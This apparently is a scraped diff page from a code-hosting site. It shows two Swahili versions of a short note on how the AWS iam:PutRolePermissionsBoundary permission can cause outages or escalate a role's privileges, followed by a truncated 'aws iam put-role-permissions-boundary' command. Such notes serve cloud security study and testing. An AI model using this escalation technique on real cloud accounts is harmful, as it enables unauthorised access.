Mhusika mwenye iam:PutRolePermissionsBoundary anaweza kuweka kikomo cha ruhusa kwenye role iliyopo. Hatari inatokea mtu mwenye ruhusa hii anapobadilisha kikomo cha role: wanaweza kuzuia shughuli kwa njia isiyofaa (kusababisha kukatika kwa huduma) au, ikiwa wataambatisha kikomo chenye kuruhusu mengi, kwa ufanisi kupanua kile role inaweza kufanya na kupandisha ruhusa.
|
||||
Mtu aliye na iam:PutRolePermissionsBoundary anaweza kuweka mpaka wa ruhusa kwenye role iliyopo. Hatari inajitokeza wakati mtu mwenye ruhusa hii anabadilisha mpaka wa role: anaweza kuzuia operesheni kwa njia isiyofaa (kusababisha kusitishwa kwa huduma) au, ikiwa ataambatanisha mpaka lenye ruhusa pana, kwa ufanisi kupanua yale role inaweza kufanya na kupandisha ngazi za ruhusa.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user